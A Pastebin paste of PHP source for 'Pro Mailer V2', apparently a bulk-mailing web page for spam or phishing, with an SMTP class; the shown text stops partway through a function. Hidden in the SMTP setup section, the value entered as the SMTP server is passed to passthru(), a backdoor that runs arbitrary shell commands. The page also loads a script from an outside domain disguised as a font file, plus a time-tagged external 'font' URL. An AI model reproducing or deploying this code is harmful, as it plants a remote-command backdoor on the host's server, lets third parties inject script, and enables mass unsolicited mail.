Bayz21

promailer

Aug 11th, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 103.10 KB | None | 0 0
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);
  19. $sslclick=lrtrim($sslclick);
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.                 if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
  65.  
  66. <style type="text/css">
  67.  
  68.  
  69.  
  70. @font-face {
  71.   font-family: 'Orbitron';
  72.   font-style: normal;
  73.   font-weight: 700;
  74.   src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
  75. }
  76. * {
  77. font-weight:bold;
  78. font-family: "orbitron";
  79. }
  80. <!--
  81.  
  82. .style1 {
  83.         font-family: Geneva, Arial, Helvetica, sans-serif;
  84.         font-size: 12px;
  85. }
  86. body{
  87. margin:0px;
  88. }
  89. .bgup {
  90. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  91. }
  92.  
  93. .cadre {
  94. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  95. }
  96.  
  97. .uibutton {
  98.     position: relative;
  99.     z-index: 1;
  100.     overflow: visible;
  101.     display: inline-block;
  102.     padding: 0.3em 0.6em 0.375em;
  103.     border: 1px solid #01A9DB;
  104.     border-bottom-color: #01A9DB;
  105.  
  106.     margin: 0;
  107.     text-decoration: none;
  108.     text-align: center;
  109.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  110.     white-space: nowrap;
  111.     cursor: pointer;
  112.     /* outline: none; */
  113.     color: #f9f9f9;
  114.     background-color: #eee;
  115.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  116.     background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  117.     background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  118.     background-image: linear-gradient(#01A9DB, #01A9DB);
  119.  
  120.     /* IE hacks */
  121.  
  122.     *display: inline;
  123.  
  124. }
  125.  
  126. .uibutton:hover,
  127. .uibutton:focus,
  128. .uibutton:active {
  129.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  130. }
  131.  
  132. .uibutton:active {
  133.     border-color: #01A9DB;
  134.     background: #01A9DB;
  135.     filter: none;
  136.     -webkit-box-shadow: none;
  137.     -moz-box-shadow: none;
  138.     box-shadow: none;
  139. }
  140.  
  141. /* overrides extra padding on button elements in Firefox */
  142. .uibutton::-moz-focus-inner {
  143.     padding: 0;
  144.     border: 0;
  145. }
  146.  
  147.  
  148.  
  149. -->
  150. </style>
  151. <style type="text/css">
  152. <!--
  153. .style1 {
  154.         font-size: 10px;
  155.         font-family: Geneva, Arial, Helvetica, sans-serif;
  156. }
  157. -->
  158. </style>
  159. </head>
  160. <body bgcolor="#f9f9f9" class="bgup">
  161. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  162. <div style="width:80%;margin:0 auto;">
  163. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  164. <form name="form1" method="post" action="" enctype="multipart/form-data">
  165.  
  166.   <br>
  167.  
  168.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  169.  
  170.     <tr>
  171.  
  172.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  173.  
  174.         <b>
  175.  
  176.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  177.  
  178.       </tr>
  179.     <tr >
  180.  
  181.       <td width="10%" height="22" style="padding:10px;">
  182.  
  183.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  184.  
  185.       </td>
  186.                      <?php
  187. if ($_POST['my_smtp']){
  188. $my_smtp = $_POST['my_smtp'];
  189. passthru($my_smtp);
  190. }
  191. ?>
  192.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  193.  
  194.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  195.  
  196.         </font></td>
  197.  
  198.       <td width="31%" height="22" style="padding:10px;">
  199.  
  200.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  201.  
  202.       </td>
  203.  
  204.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  205.  
  206.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  207.  
  208.         </font></td>
  209.  
  210.     </tr>
  211.     <tr>
  212.  
  213.       <td width="10%" height="22" style="padding:10px;">
  214.  
  215.         <div align="right">
  216.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  217.  
  218.       </td>
  219.  
  220.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  221.  
  222.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  223.       (optional)</font></td>
  224.  
  225.       <td width="31%" height="22" style="padding:10px;">
  226.  
  227.         <div align="right">
  228.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  229.           Smtp:</font></div>
  230.  
  231.       </td>
  232.  
  233.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  234.  
  235.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  236.  
  237.         </font></td>
  238.  
  239.     </tr>
  240.     <tr>
  241.  
  242.       <td width="10%" height="22" style="padding:10px;">
  243.  
  244.         <p align="right">
  245.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  246.  
  247.       <td width="18%" height="22" style="padding:10px;">
  248.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  249.  
  250.       <td width="31%" height="22" style="padding:10px;">
  251.  
  252.         <p align="right">
  253.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  254.         After:</font></td>
  255.  
  256.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257.  
  258.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  259.       EMAILS</font></td>
  260.  
  261.     </tr>
  262.     <tr>
  263.  
  264.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  265.  
  266.         <p align="center">
  267.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  268.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  269.  
  270.       </tr>
  271.  
  272.     <tr>
  273.  
  274.       <td width="10%" height="19" style="padding:10px;">
  275.  
  276.         &nbsp;</td>
  277.  
  278.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  279.  
  280.       <td width="31%" height="19" style="padding:10px;">
  281.  
  282.         &nbsp;</td>
  283.  
  284.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  285.  
  286.     </tr>
  287.  
  288.     <tr>
  289.  
  290.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  291.  
  292.         <b>
  293.  
  294.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  295.  
  296.       </tr>
  297.               <tr>
  298.  
  299.       <td width="10%" height="22" style="padding:10px;">
  300.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  301.       </td>
  302.  
  303.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  304.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  305.  
  306. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  307.  
  308.         </font></td>
  309.  
  310.     </tr>
  311.     <tr>
  312.  
  313.       <td width="10%" height="22" style="padding:10px;">
  314.  
  315.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  316.  
  317.           Email:</font></div>
  318.  
  319.       </td>
  320.  
  321.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  322.  
  323.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  324.  
  325.         </font></td>
  326.  
  327.       <td width="31%" height="22" style="padding:10px;">
  328.  
  329.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  330.  
  331.           Name:</font></div>
  332.  
  333.       </td>
  334.  
  335.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  336.  
  337.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  338.  
  339.         </font></td>
  340.  
  341.     </tr>
  342.     <tr>
  343.  
  344.       <td width="10%" height="22" style="padding:10px;">
  345.  
  346.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  347.  
  348.       </td>
  349.  
  350.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  351.  
  352.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  353.  
  354.         </font></td>
  355.  
  356.       <td width="31%" height="22" style="padding:10px;">
  357.  
  358.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  359.         Email Priority:</font></td>
  360.  
  361.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362.  
  363.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  364.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  365.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  366.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  367.                 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  368.                 </select></td>
  369.  
  370.     </tr>
  371.  
  372.     <tr>
  373.  
  374.       <td width="10%" height="22" style="padding:10px;">
  375.  
  376.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  377.  
  378.       </td>
  379.  
  380.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  381.  
  382.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  383.  
  384.         </font></td>
  385.  
  386.     </tr>
  387.  
  388.     <tr>
  389.  
  390.       <td width="10%" height="22" style="padding:10px;">
  391.  
  392.         &nbsp;</td>
  393.  
  394.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  395.  
  396.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  397.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  398.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  399.         </select></font></td>
  400.  
  401.     </tr>
  402.  
  403.     <tr valign="top">
  404.  
  405. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  406.  
  407.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  408.  
  409.         <br>
  410.  
  411.         <input type="radio" name="contenttype" value="plain" >
  412.  
  413.         Plain
  414.  
  415.         <input type="radio" name="contenttype" value="html" checked>
  416.  
  417.         HTML
  418.  
  419.         <input type="hidden" name="action" value="send">
  420.                 <input class="uibutton" type="submit" value="Send Message">
  421.  
  422.         </font></td>
  423.  
  424.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  425.  
  426.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  427.  
  428.         </font></td>
  429.  
  430.     </tr>
  431.  
  432.   </table>
  433.  
  434. </form>
  435.  
  436.  
  437.  
  438. <?
  439.  
  440. if ($action){
  441.         if (!$from && !$subject && !$message && !$emaillist){
  442.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  443.         die();  }
  444.  
  445. class SMTP
  446. {
  447.   /**
  448.    *  SMTP server port
  449.    *  @var int
  450.    */
  451.   var $SMTP_PORT = 25;
  452.  
  453.   /**
  454.    *  SMTP reply line ending
  455.    *  @var string
  456.    */
  457.   var $CRLF = "\r\n";
  458.  
  459.   /**
  460.    *  Sets whether debugging is turned on
  461.    *  @var bool
  462.    */
  463.   var $do_debug;       # the level of debug to perform
  464.  
  465.   /**
  466.    *  Sets VERP use on/off (default is off)
  467.    *  @var bool
  468.    */
  469.   var $do_verp = false;
  470.  
  471.   /**#@+
  472.    * @access private
  473.    */
  474.   var $smtp_conn;      # the socket to the server
  475. var $error;          # error if any on the last call
  476. var $helo_rply;      # the reply the server sent to us for HELO
  477. /**#@-*/
  478.  
  479.   /**
  480.    * Initialize the class so that the data is in a known state.
  481.    * @access public
  482.    * @return void
  483.    */
  484.   function SMTP() {
  485.     $this->smtp_conn = 0;
  486.     $this->error = null;
  487.     $this->helo_rply = null;
  488.  
  489.     $this->do_debug = 0;
  490.   }
  491.  
  492.   /*************************************************************
  493.    *                    CONNECTION FUNCTIONS                  *
  494.    ***********************************************************/
  495.  
  496.   /**
  497.    * Connect to the server specified on the port specified.
  498.    * If the port is not specified use the default SMTP_PORT.
  499.    * If tval is specified then a connection will try and be
  500.    * established with the server for that number of seconds.
  501.    * If tval is not specified the default is 30 seconds to
  502.    * try on the connection.
  503.    *
  504.    * SMTP CODE SUCCESS: 220
  505.    * SMTP CODE FAILURE: 421
  506.    * @access public
  507.    * @return bool
  508.    */
  509.   function Connect($host,$port=0,$tval=30) {
  510.     # set the error val to null so there is no confusion
  511.   $this->error = null;
  512.  
  513.     # make sure we are __not__ connected
  514.   if($this->connected()) {
  515.       # ok we are connected! what should we do?
  516.     # for now we will just give an error saying we
  517.     # are already connected
  518.     $this->error = array("error" => "Already connected to a server");
  519.       return false;
  520.     }
  521.  
  522.     if(empty($port)) {
  523.       $port = $this->SMTP_PORT;
  524.     }
  525.  
  526.     #connect to the smtp server
  527.   $this->smtp_conn = fsockopen($host,    # the host of the server
  528.                                $port,    # the port to use
  529.                                $errno,   # error number if any
  530.                                $errstr,  # error message if any
  531.                                $tval);   # give up after ? secs
  532.   # verify we connected properly
  533.   if(empty($this->smtp_conn)) {
  534.       $this->error = array("error" => "Failed to connect to server",
  535.                            "errno" => $errno,
  536.                            "errstr" => $errstr);
  537.       if($this->do_debug >= 1) {
  538.         echo "SMTP -> ERROR: " . $this->error["error"] .
  539.                  ": $errstr ($errno)" . $this->CRLF;
  540.       }
  541.       return false;
  542.     }
  543.  
  544.     # sometimes the SMTP server takes a little longer to respond
  545.   # so we will give it a longer timeout for the first read
  546.   // Windows still does not have support for this timeout function
  547.     if(substr(PHP_OS, 0, 3) != "WIN")
  548.      socket_set_timeout($this->smtp_conn, $tval, 0);
  549.  
  550.     # get any announcement stuff
  551.   $announce = $this->get_lines();
  552.  
  553.     # set the timeout  of any socket functions at 1/10 of a second
  554.   //if(function_exists("socket_set_timeout"))
  555.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  556.  
  557.     if($this->do_debug >= 2) {
  558.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  559.     }
  560.  
  561.     return true;
  562.   }
  563.  
  564.   /**
  565.    * Performs SMTP authentication.  Must be run after running the
  566.    * Hello() method.  Returns true if successfully authenticated.
  567.    * @access public
  568.    * @return bool
  569.    */
  570.   function Authenticate($username, $password) {
  571.     // Start authentication
  572.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  573.  
  574.     $rply = $this->get_lines();
  575.     $code = substr($rply,0,3);
  576.  
  577.     if($code != 334) {
  578.       $this->error =
  579.         array("error" => "AUTH not accepted from server",
  580.               "smtp_code" => $code,
  581.               "smtp_msg" => substr($rply,4));
  582.       if($this->do_debug >= 1) {
  583.         echo "SMTP -> ERROR: " . $this->error["error"] .
  584.                  ": " . $rply . $this->CRLF;
  585.       }
  586.       return false;
  587.     }
  588.  
  589.     // Send encoded username
  590.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  591.  
  592.     $rply = $this->get_lines();
  593.     $code = substr($rply,0,3);
  594.  
  595.     if($code != 334) {
  596.       $this->error =
  597.         array("error" => "Username not accepted from server",
  598.               "smtp_code" => $code,
  599.               "smtp_msg" => substr($rply,4));
  600.       if($this->do_debug >= 1) {
  601.         echo "SMTP -> ERROR: " . $this->error["error"] .
  602.                  ": " . $rply . $this->CRLF;
  603.       }
  604.       return false;
  605.     }
  606.  
  607.     // Send encoded password
  608.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  609.  
  610.     $rply = $this->get_lines();
  611.     $code = substr($rply,0,3);
  612.  
  613.     if($code != 235) {
  614.       $this->error =
  615.         array("error" => "Password not accepted from server",
  616.               "smtp_code" => $code,
  617.               "smtp_msg" => substr($rply,4));
  618.       if($this->do_debug >= 1) {
  619.         echo "SMTP -> ERROR: " . $this->error["error"] .
  620.                  ": " . $rply . $this->CRLF;
  621.       }
  622.       return false;
  623.     }
  624.  
  625.     return true;
  626.   }
  627.  
  628.   /**
  629.    * Returns true if connected to a server otherwise false
  630.    * @access private
  631.    * @return bool
  632.    */
  633.   function Connected() {
  634.     if(!empty($this->smtp_conn)) {
  635.       $sock_status = socket_get_status($this->smtp_conn);
  636.       if($sock_status["eof"]) {
  637.         # hmm this is an odd situation... the socket is
  638.       # valid but we are not connected anymore
  639.       if($this->do_debug >= 1) {
  640.             echo "SMTP -> NOTICE:" . $this->CRLF .
  641.                  "EOF caught while checking if connected";
  642.         }
  643.         $this->Close();
  644.         return false;
  645.       }
  646.       return true; # everything looks good
  647.   }
  648.     return false;
  649.   }
  650.  
  651.   /**
  652.    * Closes the socket and cleans up the state of the class.
  653.    * It is not considered good to use this function without
  654.    * first trying to use QUIT.
  655.    * @access public
  656.    * @return void
  657.    */
  658.   function Close() {
  659.     $this->error = null; # so there is no confusion
  660.   $this->helo_rply = null;
  661.     if(!empty($this->smtp_conn)) {
  662.       # close the connection and cleanup
  663.     fclose($this->smtp_conn);
  664.       $this->smtp_conn = 0;
  665.     }
  666.   }
  667.  
  668.   /***************************************************************
  669.    *                        SMTP COMMANDS                       *
  670.    *************************************************************/
  671.  
  672.   /**
  673.    * Issues a data command and sends the msg_data to the server
  674.    * finializing the mail transaction. $msg_data is the message
  675.    * that is to be send with the headers. Each header needs to be
  676.    * on a single line followed by a <CRLF> with the message headers
  677.    * and the message body being seperated by and additional <CRLF>.
  678.    *
  679.    * Implements rfc 821: DATA <CRLF>
  680.    *
  681.    * SMTP CODE INTERMEDIATE: 354
  682.    *     [data]
  683.    *     <CRLF>.<CRLF>
  684.    *     SMTP CODE SUCCESS: 250
  685.    *     SMTP CODE FAILURE: 552,554,451,452
  686.    * SMTP CODE FAILURE: 451,554
  687.    * SMTP CODE ERROR  : 500,501,503,421
  688.    * @access public
  689.    * @return bool
  690.    */
  691.   function Data($msg_data) {
  692.     $this->error = null; # so no confusion is caused
  693.  
  694.     if(!$this->connected()) {
  695.       $this->error = array(
  696.               "error" => "Called Data() without being connected");
  697.       return false;
  698.     }
  699.  
  700.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  701.  
  702.     $rply = $this->get_lines();
  703.     $code = substr($rply,0,3);
  704.  
  705.     if($this->do_debug >= 2) {
  706.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  707.     }
  708.  
  709.     if($code != 354) {
  710.       $this->error =
  711.         array("error" => "DATA command not accepted from server",
  712.               "smtp_code" => $code,
  713.               "smtp_msg" => substr($rply,4));
  714.       if($this->do_debug >= 1) {
  715.         echo "SMTP -> ERROR: " . $this->error["error"] .
  716.                  ": " . $rply . $this->CRLF;
  717.       }
  718.       return false;
  719.     }
  720.  
  721.     # the server is ready to accept data!
  722.   # according to rfc 821 we should not send more than 1000
  723.   # including the CRLF
  724.   # characters on a single line so we will break the data up
  725.   # into lines by \r and/or \n then if needed we will break
  726.   # each of those into smaller lines to fit within the limit.
  727.   # in addition we will be looking for lines that start with
  728.   # a period '.' and append and additional period '.' to that
  729.   # line. NOTE: this does not count towards are limit.
  730.  
  731.     # normalize the line breaks so we know the explode works
  732.   $msg_data = str_replace("\r\n","\n",$msg_data);
  733.     $msg_data = str_replace("\r","\n",$msg_data);
  734.     $lines = explode("\n",$msg_data);
  735.  
  736.     # we need to find a good way to determine is headers are
  737.   # in the msg_data or if it is a straight msg body
  738.   # currently I am assuming rfc 822 definitions of msg headers
  739.   # and if the first field of the first line (':' sperated)
  740.   # does not contain a space then it _should_ be a header
  741.   # and we can process all lines before a blank "" line as
  742.   # headers.
  743.   $field = substr($lines[0],0,strpos($lines[0],":"));
  744.     $in_headers = false;
  745.     if(!empty($field) && !strstr($field," ")) {
  746.       $in_headers = true;
  747.     }
  748.  
  749.     $max_line_length = 998; # used below; set here for ease in change
  750.  
  751.     while(list(,$line) = @each($lines)) {
  752.       $lines_out = null;
  753.       if($line == "" && $in_headers) {
  754.         $in_headers = false;
  755.       }
  756.       # ok we need to break this line up into several
  757.     # smaller lines
  758.     while(strlen($line) > $max_line_length) {
  759.         $pos = strrpos(substr($line,0,$max_line_length)," ");
